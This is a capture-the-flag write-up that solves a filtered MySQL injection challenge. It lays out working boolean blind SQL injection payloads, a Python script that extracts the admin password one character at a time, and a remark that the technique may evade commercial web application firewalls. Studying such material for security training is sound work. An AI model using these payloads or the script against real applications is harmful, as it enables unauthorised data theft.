Introduction

This post describes the intended solution of the “Est Que Elle?” web challenge that was created by Tasos Tsimpoukis and released on the preliminary round of the 1st Deloitte Greece Student Hacking Challenge on March 2019. It was perceived as a relatively hard yet straightforward challenge, since the full source code was provided to the players. According to its description, the challenge concerns the exploitation of an SQL Injection vulnerability.

Figure 1 - Challenge description:

Step 1 – Source Code Analysis

After starting our session on Hackazon platform https://portal.hackazon.org, which was used to host the CTF, the link to the challenge is shown.

When visiting the link of the challenge, the PHP source code is printed on the page. We proceed with copying it to a text editor:

Figure 2 - Complete source code of the challenge:

The source code can be downloaded here

We can now start analyzing the PHP source code, in order to search for the vulnerability and any limitations that might occur during exploitation:

  1. The comments at lines 3 and 4 inform us that the “Users” table has only one entry and that the flag is the password of the “admin” user, which is a lowercase 32-hex string.
  2. Lines 5 to 18 are of little to no significance for the attacker, except for line 15, from which it can be deduced that the SQL implementation used by the challenge is MySQL. This is important as different SQL implementations have different behavior and command syntax, while supporting a different variety of functions.
  3. Lines 18 to 22 store the values of the GET parameters “username” and “password” in the corresponding variables. Several checks are conducted in the “password” variable at lines 19 to 22. In particular, the ”password” variable can only have a length of 32 bytes and can only contain hexadecimal digits. In practice, this variable cannot be used in the attack and is only used for verifying the correct flag.
  4. In lines 25 to 29, several restrictions are applied on the “username” variable. In particular, the “username” variable cannot contain the strings “0x” or “0b” (line 26). MySQL uses those strings in order to represent string literals [1] [2]. Furthermore, lines 27 to 28 terminate the execution of the PHP script if the “username” parameter contains at least two consecutive letters, except for the words “SELECT”, ”FROM” and “Users”. Please note that the aforementioned checks are not applied in case that the “username” variable has a value equal to “admin”. This is only used for verifying the correct flag.
  5. Line 33 is a very important one, as this is where the vulnerability resides. It is obvious that the “username” and “password” parameters are embedded into the query string, which could result in an SQL Injection attack. The secure way to execute an SQL query using PHP is described here.
  6. In lines 34 to 36, it is visible that “Correct!” or “nope” are returned, depending on whether the SQL query of line 33 returned a row whose “username” column has the value “admin” or not.
  7. The whole code is inside a try block that prints the exception message, if one occurs. Those errors can be used to obtain useful information.

It is now known that:

  • A Boolean SQL Injection attack can be exeuted against the target application by using the “username” GET parameter since:
    1. its value is directly embedded into the query string.
    2. the single quote character necessary for conducting the attack is not filtered.
  • The “username” parameter cannot contain the strings “0x” and “0b”. It also cannot contain two consecutive letters, except for the words “SELECT”, “FROM” and “Users”.

Step 2 – Initial testing

Understating the limitations and achieving a basic comparison

With this knowledge, we can start testing the web application. The first action is to verify the existence of the injection using a single quote on the “username” field:

Figure 3 - Confirmation of SQL Injection:

payload: username='

That’s a great start. As a next step, we have to force the web server to return “nope” for one query, and “Correct!” for another. A payload such as ’or 1=1 -- - should return “Correct!”, but it cannot be used since it contains two consecutive letters. So instead of “or”, the “||” operator will be used, which is a synonym for “or” in MySQL [3].

Figure 4 - True “OR” condition:

payload: username=’||1=1 -- -

Figure 5 - False "OR" condition:

payload: username=’||1=0 -- -

In case of Boolean SQL Injection, attackers compare the table data against data controlled by them and force the web application to return different responses, depending on whether the attacker controlled data match the data on the database. In our case, we want to extract the “password” column of the “Users” table. Unfortunately, we cannot refer to the “password” column directly, as the string “password” does not pass the checks of lines 27 and 28. Another option could be to select the related column using its index number; however this is not possible in MySQL [4] [5]. The only way to refer to the “password” field is indirectly, by using an asterisk to select all columns of the “Users” table. Another obstacle is that Boolean SQL Injection attacks use a function such as “substr()” in order to extract the data character by character. The “substr()” function, as well as the majority of MySQL functions will not pass the checks of lines 27 and 28 [6].

Figure 6 - Comparing the only row of the Users table against itself returns the "Correct!" message

payload: username=’||(SELECT * FROM Users)=(SELECT * FROM Users)-- -

In MySQL, a SELECT statement can be used to select a row consisting of literals.

Figure 7 - Creating a row using literals in MySQL

query: select “test”,”test2”,33;

We now have a way to compare data from the database, against data controlled by us.

Figure 8 - The right operand of the equality is controlled by us:

payload: username=’||(SELECT * FROM Users)=(SELECT ‘a’,’b’)-- -

Please note that the errors printed by the application can be used in order to determine the number of columns for the “Users” table.

Figure 9 - An error informs us about the number of columns in the "Users" table:

payload: username=’||(SELECT * FROM Users)=(SELECT “a”)-- -

Step 3 - Exploitation

At this point, we are able to compare the value of the only row of the “Users” table against a row of our choice. However, two problems persist:

  1. The equality operator will not help us to extract data
  2. We need to be able to compare the database data against strings with length greater than one.

The second problem is easy to solve in a number of ways. One of them is string concatenation, which is performed using spaces in MySQL.

Figure 10 - String concatenation in MySQL:

query: select ‘t’ ‘e’ ‘s’ ‘t’;

Figure 11 - We can create strings of length greater than one:

payload:‘||(SELECT * FROM Users)=(SELECT ‘t’ ‘e’ ‘s’ ‘t’,’b’)-- -

The first problem is more difficult and needs some experimentation with the MySQL database to be solved. Even though not documented in the “comparison operators” or the “string comparison functions” pages of MySQL documentation [7] [8], MySQL can compare strings using the less-than and greater-than operators.

Figure 12 - MySQL can compare strings using the greater-than operator:

query: select (“abc”>”abb”);select (“abc”>”abd”);

On top of that, columns can also be compared with the aforementioned operators.

Figure 13 - Column comparison in MySQL using the greater-than operator:

query: select ( (Select "case","test")>(Select "c","")); select ( (Select "case","test")>(Select "d","")); select ( (Select "case","test")>(Select "ca","")); select ( (Select "case","test")>(Select "cb",""));

Figure 14 - If the first two columns are equal, the result depends on the comparison of the second columns:
query: select ( (Select "case","test")>(Select "case","")); select ( (Select "case","test")>(Select "case","t")); select ( (Select "case","test")>(Select "case","u"));

This is certainly something that could be of use in this case. We proceed into manual testing against the target application in order to verify that it is possible to retrieve database content with the aforementioned method. We do know that the username is “admin”, so we try to guess it:

Figure 15 - Manual verification of the method's effectiveness:

payloads: username='||(+(SELECT+*+FROM+Users)>(SELECT+'a',''))+--+-
username='||(+(SELECT+*+FROM+Users)>(SELECT+'b',''))+--+-
username='||(+(SELECT+*+FROM+Users)>(SELECT+'ad',''))+--+-
username='||(+(SELECT+*+FROM+Users)>(SELECT+'a'+'d',''))+--+-
username='||(+(SELECT+*+FROM+Users)>(SELECT+'a'+'e',''))+--+-

Bingo! Now we can write a script that will automatically try to guess the characters of the “password” column and return us the flag:

from requests import get
import string
url=raw_input("Enter URL >")
password="1"*32
username="'||(SELECT * FROM Users){}(SELECT 'a' 'd' 'm' 'i' 'n',{}) -- -"
chars=string.digits+"abcdefg" #mysql is case insensitive. "g" is needed in order to identify "f" in the string
payload=""
_2res=""
for ll in range(0,32):
	sign=">" if ll!=31 else "!=" #we need an equality on the last character
	print "Guessing character {}\nCurrent payload:{}".format(ll,username.format(sign,payload))
	for i in range(len(chars)):
		tmp_payload=payload+"'{}'".format(chars[i])
		print "\tTrying {}".format(chars[i])
		r=get(url,params={"username":username.format(sign,tmp_payload),"password":password})
		if "nope" in r.text:
			print "\tHIT ON {}".format(chars[i])
			payload+="'{}' ".format(chars[i-1])
			_2res+= (chars[i-1] if ll!=31 else chars[i])
			break
print "PASSWORD: {}".format(_2res)

Figure 16 - The python script has successfully guessed the correct password:

Figure 17 - Password confirmed:

Outro - Takeaways

Obtaining experience with solving CTF challenges such as the one described above can provide useful skills to a professional penetration tester, especially when dealing with Web Application Firewalls (WAFs). Many WAFs will block widely known payloads but a non-widely known payload such as this might be able to bypass a number of those. At the time of writing this post, the payload used for this challenge is not used by popular automated SQL injection tools such as sqlmap (although some variations are included therein) [9] and is not listed in any of the well-known cheat sheets such as PayloadsAllTheThings or OWASP. This makes it more likely to remain undetected by a number of commercial Web Application Firewalls.

Disclaimer: The authors of this article are not responsible for any misuse of the information. This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. You may try all of these techniques on your own computer at your own risk. Performing any hacking attempts / tests without written permission from the owner of the computer system is illegal.


  1. MySQL :: MySQL 5.7 Reference Manual :: 9.1.5 Bit-Value Literals ↩︎

  2. MySQL :: MySQL 8.0 Reference Manual :: 9.1.4 Hexadecimal Literals ↩︎

  3. MySQL :: MySQL 8.0 Reference Manual :: 12.3.3 Logical Operators ↩︎

  4. select first N columns of MySQL table - Stack Overflow ↩︎

  5. sql - mysql - selecting values from a table given column number - Stack Overflow ↩︎

  6. MySQL :: MySQL 8.0 Reference Manual :: 12.1 Function and Operator Reference ↩︎

  7. MySQL :: MySQL 8.0 Reference Manual :: 12.3.2 Comparison Functions and Operators ↩︎

  8. MySQL :: MySQL 8.0 Reference Manual :: 12.5.1 String Comparison Functions ↩︎

  9. sqlmap/queries.xml at master · sqlmapproject/sqlmap · GitHub ↩︎